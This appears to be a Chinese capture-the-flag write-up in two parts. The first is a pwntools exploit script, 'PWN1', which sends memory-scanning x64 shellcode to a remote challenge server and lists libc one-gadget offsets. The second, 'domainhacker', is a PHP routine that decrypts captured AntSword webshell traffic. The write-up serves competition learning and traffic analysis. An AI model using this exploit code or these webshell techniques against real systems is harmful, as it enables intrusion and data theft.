PWN1
# -*- coding: UTF-8 -*-
from pwn import *
import os
from struct import pack#-----------------------------
file_path = './escape_shellcode'
# arch = "x86"
arch = "x64"
libc_version = "2.23"
lib = '2.23-0ubuntu3_amd64'
bps=[]
remote_ip = "39.106.156.74"
remote_port = 44816
pie = 1
#-----------------------------
# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['gnome-terminal','--window', '--geometry=137x70+1315+0', '-x', 'sh', '-c']
context(binary=file_path, os='linux', arch = 'amd64', log_level='debug')
elf = ELF(file_path)
_debug_ = 0
if _debug_:
# libc_path = "./libc-2.27.so"
# ld_path = "./libc-2.27.so"
# ld_path = "/glibc/"+arch+"/" + libc_version + "/lib/ld-" + libc_version + ".so"
# libc_path = "/glibc/"+arch+"/" + libc_version + "/lib/libc-" + s + ".so"
lib_path = "/home/youyue271/Desktop/glibc-all-in-one/libs/" + lib
ld_path = lib_path + "/ld-" + libc_version + '.so'
libc_path = lib_path + '/libc-' + libc_version + '.so'
libc = ELF(libc_path)
if lib == '2.23-0ubuntu11.3_amd64':
onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
elif lib == '2.23-0ubuntu3_amd64':
onegadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
cmd ='set follow-fork-mode child\n'
# cmd = ''
if pie:
cmd +=''.join(['b *$rebase({:#x})\n'.format(b) for b in bps])
else:
cmd +=''.join(['b *{:#x}\n'.format(b) for b in bps])
# cmd +='c'
io = process(file_path)
# io = process([ld_path, file_path],env={"LD_PRELOAD":libc_path})
# io = gdb.debug([file_path], cmd)#, env={'LD_PRELOAD': ld_path})
else:
io = remote(remote_ip,remote_port)
# libc_path = "/glibc/"+arch +"/" + libc_version + "/lib/libc-" + libc_version + ".so"
# libc = ELF(libc_path)
libc = ELF("/home/youyue271/Desktop/buulibc/libc-" + libc_version + "-" + arch + ".so")
if libc_version == '2.23' and arch == 'x64':
onegadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
# libc_path = "/glibc/"+arch+"/" + libc_version + "/lib/libc-" + libc_version + ".so"
# libc = ELF(libc_path)
# libc = ELF("./libc-2.27.so")
def attach():
gdb.attach(io, cmd)
pause()
puts_got = elf.got['puts']
# attach()
shellcode = """
mov rsi, [rip - 0x2a9]
sub rsi, 0x4000
mov rdi, 1
mov rdx, 0x400
Loop1:
sub rsi, 0x400
mov rax, 1
syscall
cmp rax, 0
jl Loop1
and rsi, 0xfffffffffffff000
add rsi, 0x120
mov rdx, 0x50
mov rax, 1
syscall
"""
shellcode = asm(shellcode,arch = "amd64")
# attach()
io.sendline(shellcode)
# 0x2072e0
io.interactive()
# mov rsi, r8
# mov rdi, 1
# mov rdx, 0x30
# mov rax, 1
# syscall
# 0x55576ee55400 0x55576ec4e120
# 0x563a323ca400 0x563a30fed120
# -0x1130 0x7f23a0881098 0x221c08 0x270
# 0x7ffec83f7f28 0x7ffec83f7cb8
# 0x564bad062040 0x564bad066120 0x40e0
domainhacker
大概看下流量,根据特征可以判断是蚁剑混淆流量
程序分析1
<?php
function decrypt($data, $key = 'jyzg123456')
{
// header('Content-type:text/html;charset=utf-8');
$key = md5($key);
$x = 0;
$data = base64_decode($data);
$len = mb_strlen($data);
$l = mb_strlen($key);
$char = '';
$str = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= mb_substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++) {
if (ord(mb_substr($data, $i, 1)) < ord(mb_substr($char, $i, 1))) {
$str .= chr((ord(mb_substr($data, $i, 1)) + 256) - ord(mb_substr($char, $i, 1)));
} else {
$str .= chr(ord(mb_substr($data, $i, 1)) - ord(mb_substr($char, $i, 1)));
}
}
return $str;
}
$a = ['mZVymm9t', 'lpxqlXFo', 'l5xummto', 'm5Zwm3Bn', 'nJhtlGlm', 'm5tpmGtm', 'm5ptnGtu', 'mZlym25r', 'm5hpnHBu', 'm5prlm9u', 'nJlyl2hu', 'lptummhs', 'lpxrl21n', 'mZRpnHBs', 'mZpxm2lr', 'm5dtmGls', 'mpxvlnBv', 'mJpynHBt', 'nJZwm2lu', 'mpdtnWxq', 'nJdtlmpr', 'mZtymHBm', 'nJlslmpp', 'l5RunW1p', 'nJxplXFm', 'lZdpmm1s', 'mZZwnW9u', 'mJVrmmhp', 'lZZwl3Bs', 'm5xvm2hm', 'mpZslmpm', 'mZtrnGtp', 'lp1rm21t', 'nJxplmtp', 'l5twlXFq', 'lphqmm9s', 'm51wmG1q', 'mJlxlWto', 'lJ1vmXFq', 'mpVpmW5r', 'm5lrlGpr', 'mpxplm9u', 'lZpxnHFn', 'nJdymWpm', 'mJpum3Fo', 'lpRrmWto', 'lZtunXBv', 'lpprnWtt', 'lJdslnBr', 'lJZrnWpm', 'l5Zrm21m', 'lJdul2hm', 'mphylG9q', 'lZhpm2pp', 'lZ1qnW1s', 'nJ1tlHFp', 'mZxqm2tp', 'mZdsm21t', 'mpRvlG9o', 'mJVqlmhv', 'mJRwlHBq', 'l5dtmWtt', 'mZdylHFt', 'l5RqlWxn', 'mZ1um3Fs', 'lJ1rnWhu', 'm5pulWhv', 'lptrnW1u', 'm5xynWxn', 'lpRynGtr', 'mpxulGlm', 'nJdslm9r', 'lJhslHBq', 'nJpwnWhu', 'mptql2tv', 'l51xmmlp', 'mZVymXFn', 'lJhqnW5q', 'm5ppmGpr', 'mZlqm21t', 'mpZslWxt', 'mJ1pnHFm', 'l5drlXBp', 'mJlvmW1u', 'mZtxlG5t', 'nJtsnHFn', 'l5Rvm29o', 'm5xvlWxv', 'm5Zrl2xm', 'mZlwlG1u', 'nJpvlWtr', 'mJxym25s', 'lpVqnWxv', 'mZVvl3Fq', 'lZVtlW5m', 'lZRqlGhn', 'nJxqm2hn', 'nJVtl21s', 'lJdumWlq', 'mJtxmGtp', 'mZxsnHFv', 'lpdtl2xn', 'mphqlm5p', 'lJdxlGpn', 'lpVvlHFu', 'lJhvmHBn', 'l5xunGtv', 'lZRul2pt', 'mpdqnGxu', 'l5Zxlmho', 'lJppmWhq', 'nJVylWpp', 'm5VxnWlr', 'lpdsnGtq', 'mZ1tnGpt', 'mJVqmmtq', 'l5hslWhm', 'lZZtl21r', 'nJlumGlm', 'lJhsmW9t', 'lZZym25s', 'l5tpnHBt', 'nJVunG1q', 'mJdtlHFu', 'mpVtlnFp', 'mplrnG1t', 'mJ1ylHBr', 'nJhynG5m', 'mplymG1r', 'lJtxlGxo', 'lpRxnGlm', 'mZxwnG5s', 'mZptnWpn', 'mJZylGxq', 'mZZvm3Fo', 'lJdxnW9t', 'lZtxmXFv', 'nJxtlXFm', 'mJZumW1r', 'nJ1tmG1p', 'mplslmpu', 'lJZxlG5p', 'nJtxmXBq', 'lZdxmmtq', 'lJdrlG1o', 'mpZtmmlm', 'mJVxnGpm', 'mJVwmWxu', 'mplslWps'];
for ($i=0;$i<149;$i++){
echo decrypt($a[$i])."\n";
}
//echo decrypt("$argv[1]","jyzg123456");
//return decrypt("$argv[1]","jyzg123456");
点击蓝字
关注我们